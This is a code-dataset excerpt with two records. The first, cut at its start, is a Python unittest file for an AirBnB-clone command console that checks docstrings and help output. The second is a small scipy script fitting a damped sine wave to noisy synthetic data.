pass\n # FileStorage._FileStorage__objects = {}\n #\n # def tearDown(self):\n # \"\"\"Delete created file after every test\"\"\"\n # try:\n # os.remove(\"file.json\")\n # except IOError:\n # pass\n\n def test_module_doc(self):\n \"\"\"Test for module documentation\"\"\"\n self.assertIsNotNone(console.__doc__)\n\n def test_class_doc(self):\n \"\"\"Test for class documentation\"\"\"\n self.assertIsNotNone(HBNBCommand.__doc__)\n\n def test_method_docs(self):\n \"\"\"Test all methods in ``console`` for docs\"\"\"\n methods = [\n HBNBCommand.do_EOF,\n HBNBCommand.help_EOF,\n HBNBCommand.do_quit,\n HBNBCommand.help_quit,\n HBNBCommand.emptyline,\n HBNBCommand.do_create,\n HBNBCommand.help_create,\n HBNBCommand.do_show,\n HBNBCommand.help_show,\n HBNBCommand.do_destroy,\n HBNBCommand.help_destroy,\n HBNBCommand.do_all,\n HBNBCommand.help_all,\n HBNBCommand.do_update,\n HBNBCommand.default,\n ]\n for meth in methods:\n self.assertIsNotNone(meth.__doc__)\n\n def test_quit(self):\n \"\"\"Test quit method\"\"\"\n pass\n\n def test_empty_line(self):\n \"\"\"Test empty_line method\"\"\"\n with patch(\"sys.stdout\", new=StringIO()) as f:\n HBNBCommand().onecmd(\"\")\n output = f.getvalue().strip()\n self.assertEqual(output, \"\")\n\n def test_help_create(self):\n \"\"\"Test help_create method\"\"\"\n with patch(\"sys.stdout\", new=StringIO()) as f:\n HBNBCommand().onecmd(\"help create\")\n output = f.getvalue().strip()\n self.assertIsNotNone(output)\n\n def test_help_show(self):\n \"\"\"Test help_show method\"\"\"\n with patch(\"sys.stdout\", new=StringIO()) as f:\n HBNBCommand().onecmd(\"help show\")\n output = f.getvalue().strip()\n self.assertIsNotNone(output)\n\n def test_help_destroy(self):\n \"\"\"Test help_destroy method\"\"\"\n with patch(\"sys.stdout\", new=StringIO()) as f:\n HBNBCommand().onecmd(\"help destroy\")\n output = f.getvalue().strip()\n self.assertIsNotNone(output)\n\n def test_help_all(self):\n \"\"\"Test help_all method\"\"\"\n with patch(\"sys.stdout\", new=StringIO()) as f:\n HBNBCommand().onecmd(\"help all\")\n output = f.getvalue().strip()\n self.assertIsNotNone(output)\n\n def test_help_update(self):\n \"\"\"Test help_update method\"\"\"\n with patch(\"sys.stdout\", new=StringIO()) as f:\n HBNBCommand().onecmd(\"help update\")\n output = f.getvalue().strip()\n self.assertIsNotNone(output)\n\n\n# def test_create_with_valid_class_name_User(self):\n# \"\"\"Test create with valid class name\"\"\"\n# with patch(\"sys.stdout\", new=StringIO()) as f:\n# HBNBCommand().onecmd(\n# 'create User email=\"user@gmail\"'\n# ' password=\"passwordr@gmail\" first'\n# '_name=\"first_name@gmail\"'\n# )\n# output = f.getvalue().strip()\n# try:\n# uuid.UUID(output)\n# except ValueError:\n# self.fail(\"Output is not a valid UUID\")\n\n# def test_create_with_valid_class_name_Place(self):\n# \"\"\" Test create with valid class name\"\"\"\n# city_id = \"\"\n# with patch(\"sys.stdout\", new=StringIO()) as f:\n# HBNBCommand().onecmd(\"create Place\"\n# \" name=\\\"My_little_house\\\" number_rooms=4\"\n# \" number_bathrooms=2 max_guest=10\"\n# \" price_by_night=300 latitude=37.773972\"\n# \" longitude=-122.431297\")\n# output = f.getvalue().strip()\n# try:\n# print(f\"output is {output}\", file=sys.stderr)\n# # uuid.UUID(output)\n# except ValueError:\n# self.fail(\"Output is not a valid UUID\")\n\n# def test_create_with_valid_class_name_State(self):\n# \"\"\" Test create with valid class name\"\"\"\n# with patch(\"sys.stdout\", new=StringIO()) as f:\n# HBNBCommand().onecmd(\"create State\")\n# output = f.getvalue().strip()\n# try:\n# uuid.UUID(output)\n# except ValueError:\n# self.fail(\"Output is not a valid UUID\")\n\n# def test_create_with_valid_class_name_City(self):\n# \"\"\" Test create with valid class name\"\"\"\n# with patch(\"sys.stdout\", new=StringIO()) as f:\n# HBNBCommand().onecmd(\"create City\")\n# output = f.getvalue().strip()\n# try:\n# uuid.UUID(output)\n# except ValueError:\n# self.fail(\"Output is not a valid UUID\")\n\n# def test_create_with_valid_class_name_Amenity(self):\n# \"\"\" Test create with valid class name\"\"\"\n# with patch(\"sys.stdout\", new=StringIO()) as f:\n# HBNBCommand().onecmd(\"create Amenity\")\n# output = f.getvalue().strip()\n# try:\n# uuid.UUID(output)\n# except ValueError:\n# self.fail(\"Output is not a valid UUID\")\n\n# def test_create_with_valid_class_name_Review(self):\n# \"\"\" Test create with valid class name\"\"\"\n# with patch(\"sys.stdout\", new=StringIO()) as f:\n# HBNBCommand().onecmd(\"create Review\")\n# output = f.getvalue().strip()\n# try:\n# uuid.UUID(output)\n# except ValueError:\n# self.fail(\"Output is not a valid UUID\")\n\n# def test_create_without_class_name(self):\n# \"\"\"Test create without class name\"\"\"\n# with patch(\"sys.stdout\", new=StringIO()) as f:\n# HBNBCommand().onecmd(\"create\")\n# output = f.getvalue().strip()\n# self.assertEqual(output, \"** class name missing **\")\n#\n# def test_create_with_invalid_class_name(self):\n# \"\"\"Test create with invalid class name\"\"\"\n# with patch(\"sys.stdout\", new=StringIO()) as f:\n# HBNBCommand().onecmd(\"create MyModel\")\n# output = f.getvalue().strip()\n# self.assertEqual(output, \"** class doesn't exist **\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Kb-Mash/AirBnB_clone_v2","sub_path":"tests/test_console.py","file_name":"test_console.py","file_ext":"py","file_size_in_byte":6897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20304831273","text":"from numpy import linspace, random\nfrom scipy.optimize import leastsq\nfrom numpy import exp, sin\n\n\ndef residual(variables, x, data, eps_data):\n \"\"\"Model a decaying sine wave and subtract data.\"\"\"\n amp = variables[0]\n phaseshift = variables[1]\n freq = variables[2]\n decay = variables[3]\n\n model = amp * sin(x * freq + phaseshift) * exp(-x * x * decay)\n\n return (data - model) / eps_data\n\n\n# generate synthetic data with noise\nx = linspace(0, 100)\neps_data = random.normal(size=x.size, scale=0.2)\nprint(eps_data)\ndata = 7.5 * sin(x * 0.22 + 2.5) * exp(-x * x * 0.01) + eps_data\nprint(data)\nvariables = [10.0, 0.2, 3.0, 0.007]\nout = leastsq(residual, variables, args=(x, data, eps_data))\nprint(out)\n","repo_name":"vijaikrish/Rotor_balancing","sub_path":"resize.py","file_name":"resize.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"}